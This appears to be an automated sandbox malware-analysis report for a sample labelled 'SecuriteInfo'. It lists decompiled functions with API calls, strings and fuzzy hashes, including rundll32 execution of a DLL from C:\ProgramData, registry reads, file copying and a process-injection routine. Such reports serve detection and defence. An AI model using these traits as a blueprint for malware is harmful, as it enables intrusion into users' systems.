Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShellSystemTimelstrlen
String ID: "" $.dll$<$C:\ProgramData\$C:\Windows\system32\rundll32.exe
API String ID: 2215929589-3594953769
Opcode ID: ed562fd40cf51ca4bc22af7a7c0719ebde71649b59f03344575937da1da554a0
Instruction ID: bd8ed18b79fc4617ea2e5626229a8cb35a126f14a60a81445ac797899b92faea
Opcode Fuzzy Hash: ed562fd40cf51ca4bc22af7a7c0719ebde71649b59f03344575937da1da554a0
Instruction Fuzzy Hash: D281BE72C2010CAADB59FBA0D9A6DFDF778AF14780F504139F612722A1EF706659CE60

Function 002FD700 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 100COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 002FD719

Part of subcall function 0030F6E0: std::exception::exception.LIBCMT ref: 0030F6F5
Part of subcall function 0030F6E0: __CxxThrowException@8.LIBCMT ref: 0030F70A
Part of subcall function 0030F6E0: std::exception::exception.LIBCMT ref: 0030F71B

std::_Xinvalid_argument.LIBCPMT ref: 002FD73A
std::_Xinvalid_argument.LIBCPMT ref: 002FD755
memcpy.MSVCRT(?,?,?), ref: 002FD7BD

Strings

string too long, xrefs: 002FD735, 002FD750
invalid string position, xrefs: 002FD714

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_$std::exception::exception$Exception@8Throwmemcpy
String ID: invalid string position$string too long
API String ID: 285807467-4289949731
Opcode ID: fd271a229123a52321b56c1af0aaef70052915c87fb33ac4361730fb48e0b2b5
Instruction ID: 6909f7a8ad612a7f90db343b20f63fd0efa3f8aafa2a6c6b1acb41b9a5cb1526
Opcode Fuzzy Hash: fd271a229123a52321b56c1af0aaef70052915c87fb33ac4361730fb48e0b2b5
Instruction Fuzzy Hash: 7431EA323142098FD725AE6CE890B7AF3EAEF94791B100A3EE642CF781D771D8508790

Function 003058B0 Relevance: 9.1, APIs: 6, Instructions: 130registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 003058D5
RegOpenKeyExA.ADVAPI32(80000001,02F45820,00000000,00020119,?), ref: 003058F4
RegQueryValueExA.ADVAPI32(?,02F45450,00000000,00000000,00000000,000000FF), ref: 00305918
RegCloseKey.ADVAPI32(?), ref: 00305922
lstrcat.KERNEL32(?,00000000), ref: 00305947
lstrcat.KERNEL32(?,02F45528), ref: 0030595B

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: 4339bbc8b53225af49314f1ba83445af58d961edd4cd9e895c2188b5babe71e3
Instruction ID: af336045e9a47618106e17372f6abdfdb94f3753dd1a63f6bb068aa9f1243004
Opcode Fuzzy Hash: 4339bbc8b53225af49314f1ba83445af58d961edd4cd9e895c2188b5babe71e3
Instruction Fuzzy Hash: FE41B1B5911208ABCB15EFA0CC5AFEE7738AF54340F408658FA05561C1EA71AA98CFA1

Function 00301C00 Relevance: 9.1, APIs: 6, Instructions: 106stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00301C24
StrCmpCA.SHLWAPI(00000000,00313B6C,00000000), ref: 00301C6C
StrCmpCA.SHLWAPI(00000000,00313B6C,00000000), ref: 00301CB2
StrCmpCA.SHLWAPI(00000000,00313B6C), ref: 00301CDE
StrCmpCA.SHLWAPI(00000000,00313B6C), ref: 00301D0A
strtok_s.MSVCRT ref: 00301D3C

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: strtok_s
String ID:
API String ID: 3330995566-0
Opcode ID: 0af6430af0e890ea9ff340e93548a6331958b9d718ff419e7788a76b2ee21dd3
Instruction ID: 1767d6f1596bbd68627015f7c555b2582ed63294ebf4275542744e2ac0c86cda
Opcode Fuzzy Hash: 0af6430af0e890ea9ff340e93548a6331958b9d718ff419e7788a76b2ee21dd3
Instruction Fuzzy Hash: 4741CB70941209EFCB22EF18C894FF5B7B8FF18340F50495DE40687281EB70EA688B81

Function 0030D181 Relevance: 9.1, APIs: 6, Instructions: 98COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 0030D18F

Part of subcall function 0030CD59: __mtinitlocknum.LIBCMT ref: 0030CD6F
Part of subcall function 0030CD59: __amsg_exit.LIBCMT ref: 0030CD7B
Part of subcall function 0030CD59: RtlEnterCriticalSection.NTDLL(00000000), ref: 0030CD83

RtlDecodePointer.NTDLL(00316E40), ref: 0030D1CB
RtlDecodePointer.NTDLL ref: 0030D1DC

Part of subcall function 0030D8C7: RtlEncodePointer.NTDLL(00000000), ref: 0030D8C9

RtlDecodePointer.NTDLL(-00000004), ref: 0030D202
RtlDecodePointer.NTDLL ref: 0030D215
RtlDecodePointer.NTDLL ref: 0030D21F

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$CriticalEncodeEnterSection__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2005412495-0
Opcode ID: abeadbcaa73f78501afc26a0c180947a49f2cad133e7b8e17130a6b01cce6828
Instruction ID: f13c8d0ac19b69806c5f1fee023719e631a606d4c2476714e7f36dbd1c213392
Opcode Fuzzy Hash: abeadbcaa73f78501afc26a0c180947a49f2cad133e7b8e17130a6b01cce6828
Instruction Fuzzy Hash: 7B314870D02309DFDF52AFE8D96569CBBF8BF19310F10452AE410A62D1CBB48889DF24

Function 0030E79C Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0030E7A8

Part of subcall function 0030DA31: __getptd_noexit.LIBCMT ref: 0030DA34
Part of subcall function 0030DA31: __amsg_exit.LIBCMT ref: 0030DA41

__amsg_exit.LIBCMT ref: 0030E7C8
__lock.LIBCMT ref: 0030E7D8
InterlockedDecrement.KERNEL32(?), ref: 0030E7F5
_free.LIBCMT ref: 0030E808
InterlockedIncrement.KERNEL32(00319F98), ref: 0030E820

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock_free
String ID:
API String ID: 3470314060-0
Opcode ID: c152896fdb37859b5cb98808ff8471613942f24679af749869cd7ed2dc8af774
Instruction ID: 797d1a57d885e4bd1cb3332da04e684f2fd0513077b3d6c37f4b2c741136925f
Opcode Fuzzy Hash: c152896fdb37859b5cb98808ff8471613942f24679af749869cd7ed2dc8af774
Instruction Fuzzy Hash: 7901DB35B03B11DBDB23ABA4982579D7774BF09F21F018916F8106B6D1C7349881CBD2

Function 00305D00 Relevance: 8.9, APIs: 7, Instructions: 107stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,02F45420), ref: 00305D5B

Part of subcall function 00300D50: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?), ref: 00300D81

lstrcat.KERNEL32(?,00000000), ref: 00305D7E
lstrcat.KERNEL32(?,?), ref: 00305D9A
lstrcat.KERNEL32(?,?), ref: 00305DAE
lstrcat.KERNEL32(?,02F389E0), ref: 00305DC1
lstrcat.KERNEL32(?,?), ref: 00305DD5
lstrcat.KERNEL32(?,02F45900), ref: 00305DE9

Part of subcall function 002FF810: lstrcpy.KERNEL32(00000000,00000001), ref: 002FF839

Part of subcall function 00300D10: GetFileAttributesA.KERNEL32(00000000,?,?,002F1774,?,?,?,003101E9), ref: 00300D1D

Part of subcall function 00305A70: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00305A82
Part of subcall function 00305A70: RtlAllocateHeap.NTDLL(00000000), ref: 00305A89
Part of subcall function 00305A70: wsprintfA.USER32 ref: 00305AA2
Part of subcall function 00305A70: FindFirstFileA.KERNEL32(?,?), ref: 00305AB9
Part of subcall function 00305A70: StrCmpCA.SHLWAPI(?,003101DC), ref: 00305ADC
Part of subcall function 00305A70: StrCmpCA.SHLWAPI(?,003101D8), ref: 00305AF6
Part of subcall function 00305A70: wsprintfA.USER32 ref: 00305B18
Part of subcall function 00305A70: CopyFileA.KERNEL32(?,00000000,00000001), ref: 00305BBC

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Heapwsprintf$AllocateAttributesCopyFindFirstFolderPathProcesslstrcpy
String ID:
API String ID: 987985321-0
Opcode ID: 7392a93af519d3f59d78410c6d043fa2f4c7845258d6d3759257ef66cd46787c
Instruction ID: 73e0c652b60dea6e97f04a10cc5812040940b45992feb88d105f99215b5393d2
Opcode Fuzzy Hash: 7392a93af519d3f59d78410c6d043fa2f4c7845258d6d3759257ef66cd46787c
Instruction Fuzzy Hash: 4B4164B191130C67DB29FBB0CD96EEA737C6F14700F0445A9B70A56191EB709689CFA1

Function 002FD9C0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 002FD9DA

Part of subcall function 0030F6E0: std::exception::exception.LIBCMT ref: 0030F6F5
Part of subcall function 0030F6E0: __CxxThrowException@8.LIBCMT ref: 0030F70A
Part of subcall function 0030F6E0: std::exception::exception.LIBCMT ref: 0030F71B

std::_Xinvalid_argument.LIBCPMT ref: 002FDA17

Part of subcall function 0030F693: std::exception::exception.LIBCMT ref: 0030F6A8
Part of subcall function 0030F693: __CxxThrowException@8.LIBCMT ref: 0030F6BD
Part of subcall function 0030F693: std::exception::exception.LIBCMT ref: 0030F6CE

memcpy.MSVCRT(?,?,?), ref: 002FDA78

Strings

string too long, xrefs: 002FDA12
invalid string position, xrefs: 002FD9D5

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argumentstd::_$memcpy
String ID: invalid string position$string too long
API String ID: 85833692-4289949731
Opcode ID: 7f8c1e70a2c3bf6c6665d6985cd140065ce1aa6302a1a74297d138595fd32d04
Instruction ID: 2c1593e014130cd240a4d865c1fcd63525a9d8d4cc7bd44d2a329857290b32dc
Opcode Fuzzy Hash: 7f8c1e70a2c3bf6c6665d6985cd140065ce1aa6302a1a74297d138595fd32d04
Instruction Fuzzy Hash: E331F9333142185BD7219E5CE890B7AF39EDBA17A4F20053FF241CB291D672DC5087A5

Function 002FEE88 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 52injectionthreadCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNEL32(?,?,?,?,00000000), ref: 002FEEB7
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000), ref: 002FEEE9
SetThreadContext.KERNEL32(?,?), ref: 002FEEFF
ResumeThread.KERNEL32(?), ref: 002FEF09

Strings

(, xrefs: 002FEEC4

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
